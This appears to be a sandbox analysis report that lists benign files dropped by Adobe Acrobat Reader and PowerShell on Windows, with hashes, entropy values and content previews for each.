Entropy (8bit):	5.265261583269873
Encrypted:	false
SSDEEP:	6:YEQXJ2HXEIg2ZpH2vB3/dVlPIHAR0YccdPoAvJfbPtdPeUkwRe9:YvXKXhfH2vR/ZwHAPdwGDV8Ukee9
MD5:	C7C0D5E855E7186F530F37F7E66B1748
SHA1:	11EC8701929C3BAA9CDDE89D03A8C26B58E520A2
SHA-256:	E81AAC68DAE6CEEB3B53C923AFFEE335A5634ADDC80583635E8D95A59A0B3E77
SHA-512:	8EC25D4635A9044C2A2232AD29AD139CF900D8B0354245C18E4FA3293B1415DDDA11DC65A492E5DE8E6998343A810AFFC2CC55AD8A064A1B6E9D2452E910192D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5d0b6e18-7fee-46f3-b7b6-73724366c3f6","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736720042581,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.263399932045515
Encrypted:	false
SSDEEP:	6:YEQXJ2HXEIg2ZpH2vB3/dVlPIHAR0YccdPoAvJf21rPeUkwRe9:YvXKXhfH2vR/ZwHAPdwG+16Ukee9
MD5:	F88AFF4B25DA884CAAE5461B04211830
SHA1:	C27CB6EF1A4ED771FACC2506FC160EDA3D2A7AEC
SHA-256:	9E002BAC4524446F73ED67088D4062BDC886FFD882180F7E9CEC7C898EB6B891
SHA-512:	777183E7E77204C5595371C5AC71169A9DE5E1C5C8487626F86046D025D73C2D265D77DA560441F92EF681B0BC73CB8BE5216C9DC0A6AD5ECE0484F5495D58D9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5d0b6e18-7fee-46f3-b7b6-73724366c3f6","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736720042581,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.665868596537926
Encrypted:	false
SSDEEP:	24:Yv6XhfH2Jh7dVamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSS:YvxJhZJBgkDMUJUAh8cvMS
MD5:	61DA511FF6528D3EE9AD93EE25BC692E
SHA1:	6D8F112C97374A591B6D98C01FBBD0C1BB25DFE6
SHA-256:	91A5176228F86D86B6DDB1D8A1E51505795438A5A51E2F302FC828EA2E95BD55
SHA-512:	7A58289811831B05A20EF35E4C5467E08B16C8D0F1F5C38F205207AC3A3D0AFE951CAAA475056D8CB18B5DB9B5450E46E24040FE8B250839AAAC8F88A870DF58
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5d0b6e18-7fee-46f3-b7b6-73724366c3f6","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736720042581,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.23988697964293
Encrypted:	false
SSDEEP:	6:YEQXJ2HXEIg2ZpH2vB3/dVlPIHAR0YccdPoAvJfshHHrPeUkwRe9:YvXKXhfH2vR/ZwHAPdwGUUUkee9
MD5:	951CCFE3FE88E1FFE8661F706F1BFC26
SHA1:	E00A8EC0DF478E442EA20F26B4E03B0E4037B670
SHA-256:	66547550167DE8B19E95D02249BC7506B7DE1369A3A8EB74F39091F4038EFEBD
SHA-512:	8BB44752656BFF87E422509BFFA3B5CED7FF46043BF5088507DE380AF85CEAD9EE943EAF511C3D5D53D97051C86F07578F57D7B61CBB77DE2B0C0C288B111A85
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5d0b6e18-7fee-46f3-b7b6-73724366c3f6","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736720042581,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.256404745713269
Encrypted:	false
SSDEEP:	6:YEQXJ2HXEIg2ZpH2vB3/dVlPIHAR0YccdPoAvJTqgFCrPeUkwRe9:YvXKXhfH2vR/ZwHAPdwGTq16Ukee9
MD5:	10FCE09719BA49F24CEC4EA65335F159
SHA1:	AB32D8CF1F610BE0D974F95EE74B8BC3DFB0A6C4
SHA-256:	BB560338EE2966C4944F984F272A2F9F6BEAF604930523CBCDC42DF16DF8A354
SHA-512:	FD7DF73472F1B62B3F7409898F1EEA7875A79752AB5568BFC7F303AAC01F787E495A63F47493105F47568770EFC5414B5A41D898C85054B6F1A36215B69E1035
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5d0b6e18-7fee-46f3-b7b6-73724366c3f6","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736720042581,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.144138489696878
Encrypted:	false
SSDEEP:	48:YsQNX1IKAOktD5KrQw7f2WJptJOAmmM7l/I9DAox:HQ5aKAOktD5KrQw7fvJJymM7l+DPx
MD5:	CD80A0113E275DF30E5B057AA7793459
SHA1:	9678B58F4E719F6B85E7DACB2E132092D5CEB52F
SHA-256:	52EAB6CD22B87183722133A3961A1DF9526B9414E8D3EC8F11FC315CD65C67D9
SHA-512:	765C5DCE1A5BE394A9AD60B2EB17E65958B99F516001F194BCDA8745686E5D9C21772C0DDF27955656D6B425FFD7657A1CB956C590AE4FB616DD94277F992544
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"eb54c91fd76b1c3ab2f53fcfd36aa96c","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736542907000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"44c75412c2e3cd97341f75a6d92c879a","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736542906000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"f3d0f057920342d9a5451ab3078666a9","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736542906000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"46723eb08db20938e85a1ab0e8d6dbe6","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736542906000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"8f7bc63d9ce34ed1dd1fb4a4ac756136","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736542906000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"4b5b28565faf74991aa3c16e484eae32","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3185230511746286
Encrypted:	false
SSDEEP:	48:TGufl2GL7ms9WR1CPmPbPahAIzypilImI/:lNVms9WfMwbPahAIzxI/
MD5:	A226DEFB7B7B960465551DA85CE2DD7A
SHA1:	5CECEE659C338D98F6FF6A6416334F662378D50C
SHA-256:	57D49BC1940A752BCACA9E5080319E3E1B53B88D3172387CD3A6A9FEEFECBC90
SHA-512:	D2FD956F5A6F4296E574653F479E2AC577A4DC6C189A8BF9854A9AD99F52BE5B5CBBCC015DA0055B45DB4C6A1006EEAC59A7F2E2FCFF44C09045CD89752E7E9A
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.7812201821769156
Encrypted:	false
SSDEEP:	48:7MUvWR1CPmPbPahAIyypilIJoqFl2GL7msC:71vWfMwbPahAIyaoKVmsC
MD5:	E8285854F43D706F04187C2325460716
SHA1:	1D6D7E91A98ED39ED55B99457284F7C49D4E5982
SHA-256:	DB463B0B89179CFF3EE0F5EF059260FB6D4B3C80DC24A66B0DEFF3212C5E39CB
SHA-512:	CCEBEDB9BE4111DCB3DC28416CCB9F2259CD0ED416D9DB1DCE060576E482EC66403AC9540D6DAF8E19D2B3E5EF2ECA39A1D72EF01DF7E20EF93D92D62907DDF9
Malicious:	false
Preview:	.... .c...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgTTWyoN89n4XflI/AjhglwVXEr7Yyu:6a6TZ44ADETTWyoKZGlJCHK
MD5:	959EC2716C7BFFBEA3FA2460CA981E7B
SHA1:	74FD533445F9FD5DFAD0B0FD96DB70574DBFF673
SHA-256:	71BEBAD3128EC28C8F16B5158742632339593339367CE3DC6CAFB5BB2BB70523
SHA-512:	E1881F8B638F93CCF794D79D3C9EB8A16AC73CB24C4AC6F7AFEDC965719852030F6692B14721DFAFE9F57B997021A4EFDF6DBE19782C6245C567D5A9A35CE0DA
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllultnxj:NllU
MD5:	F93358E626551B46E6ED5A0A9D29BD51
SHA1:	9AECA90CCBFD1BEC2649D66DF8EBE64C13BACF03
SHA-256:	0347D1DE5FEA380ADFD61737ECD6068CB69FC466AC9C77F3056275D5FCAFDC0D
SHA-512:	D609B72F20BF726FD14D3F2EE91CCFB2A281FAD6BC88C083BFF7FCD177D2E59613E7E4E086DB73037E2B0B8702007C8F7524259D109AF64942F3E60BFCC49853
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIc7e1b.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5085442896850614
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClErNEzw:Qw946cPbiOxDlbYnuRK+bDrN3
MD5:	D1A0D4C84DAF1E6C7F5DB553009E1A43
SHA1:	3C66FD5EF0CD4C212C5926235920744305337AF8
SHA-256:	EB6731923056A7D4D69285A9DFB9372CCF6DD75EB79B7038A5059332E49A87B4
SHA-512:	2278646083FFBA0DEAC016E407A65CD9FF4AEBB4C4A9E54032A7DF82592DDECE6A0F06EDA1DA68F799F6888D72853C4CED85283756733DE2C7FF6C5A2CC6FCC9
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.6.:.0.1.:.4.5. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_oaj4bt3m.iud.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ozkur00d.scs.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 16-01-40-314.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.33860678500249
Encrypted:	false
SSDEEP:	384:IC2heaVGJMUPhP80d0Wc+9eG/CCihFomva7RVRkfKhZmWWyC7rjgNgXo6ge5iaW0:X8B
MD5:	C3FEDB046D1699616E22C50131AAF109
SHA1:	C9EEA5A1A16BD2CD8154E8C308C8A336E990CA8D
SHA-256:	EA948BAC75D609B74084113392C9F0615D447B7F4AACA78D818205503EACC3FD
SHA-512:	845CDB5166B35B39215A051144452BEF9161FFD735B3F8BD232FB9A7588BA016F7939D91B62E27D6728686DFA181EFC3F3CC9954B2EDAB7FC73FCCE850915185
Malicious:	false
Preview:	SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:080+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.327135879393124
Encrypted:	false
SSDEEP:	384:g5o4c4D4E/A/3/if/L/a/C/5/D/Qux6uYuPeJp7pxprrYrgrhr0qy1qyqGMgZaar:giBgp4fafjSqRr466reaRHxE0VwvDrrf
MD5:	DC1D0FB1D33151678AB21E6F71338A9A
SHA1:	0F988901298CBF1DD744B218824566D7E42BBF9D
SHA-256:	C7CA46A1AADD55AB7EADA25BA9AC61725C7DFDD118DF9A9F13977984319C839B
SHA-512:	E9AF86CD27361268D7FB189E6CA0197529DF680532C1DA3DE9710EC15038E5FF556B008D7A61596C45A1243BDAA2438127B6692AB0D60D176D111559C6A9B1F5
Malicious:	false
Preview:	SessionID=be82a28b-ea51-4919-8032-f1eef6733307.1736542900334 Timestamp=2025-01-10T16:01:40:334-0500 ThreadID=6700 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=be82a28b-ea51-4919-8032-f1eef6733307.1736542900334 Timestamp=2025-01-10T16:01:40:335-0500 ThreadID=6700 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=be82a28b-ea51-4919-8032-f1eef6733307.1736542900334 Timestamp=2025-01-10T16:01:40:335-0500 ThreadID=6700 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=be82a28b-ea51-4919-8032-f1eef6733307.1736542900334 Timestamp=2025-01-10T16:01:40:335-0500 ThreadID=6700 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=be82a28b-ea51-4919-8032-f1eef6733307.1736542900334 Timestamp=2025-01-10T16:01:40:336-0500 ThreadID=6700 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.399532397991338
Encrypted:	false
SSDEEP:	192:TcbeIewcbVcbqI4ucbrcbQIrJcb6cbCIC4cbAwcb+IxDcb1:ceo4+rsC2txU
MD5:	B9225334FC1D72938D83D7ADC5139651
SHA1:	F9F55FFF4541E0D97FACCB25129DA6165E993206
SHA-256:	77F9C91A5544C537C47F57092B70E4A8201540C95B928BA1B35B3F44A2DFCA05
SHA-512:	F1109E95671C92B0ADBD6DF1D93232931824E4444C5E2F64A22231F56EB41749811083D27FA2595A33AE9197979D7FFB2103D8711E6BF3B8A659E0BAF31132BC
Malicious:	false
Preview:	05-10-2023 10:18:29:.---2---..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:18:29:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\1dd7ef2a-32de-479d-b451-dc903d038880.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:6DaWL07oXGZGwYIGNPJNdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:caWLxXGZGwZGh3mlind9i4ufFXpAXkru
MD5:	7867DAFF192926A49EB7516D226D452F
SHA1:	BD0B185B12DB865CEA23060A9789C6B2D814B62E
SHA-256:	C7586BA81615BBAA63DA0D81CE18C0D087D1237500C99C35239A4D3CAEED2934
SHA-512:	B556042E82056983EA6A69AEE0DAB370641437EF6239FD04676FC26EC9472C6E5EF6194885C165E3987E8019321DCD9B4A574EA7A6253AC3C9468434AEAA0C21
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\774ec037-ca47-43c7-bf22-423abcebea95.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\f6cbfad2-29aa-4098-af18-b9c8d6091821.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U8:O3Pjegf121YS8lkipdjMMNB1DofjgJJY
MD5:	91FB13BA86F9851088A815FC1C589744
SHA1:	EFF1FACC7E56CD354CD9CE7B3429342883D5AE70
SHA-256:	E54AE9819F665C9156FA36FD982EFAD6C69A9A9647FBBC1CA5DBE2AF043EB291
SHA-512:	8E1FED5FDF80DAD97A92BFFEB81752675BF50DCAEAF2ACD0C6AA32D5610950495DD913F666C40AE411DDD18CD70E2CBAD5DB1849C96674C64000E99021559C50
Malicious:	false
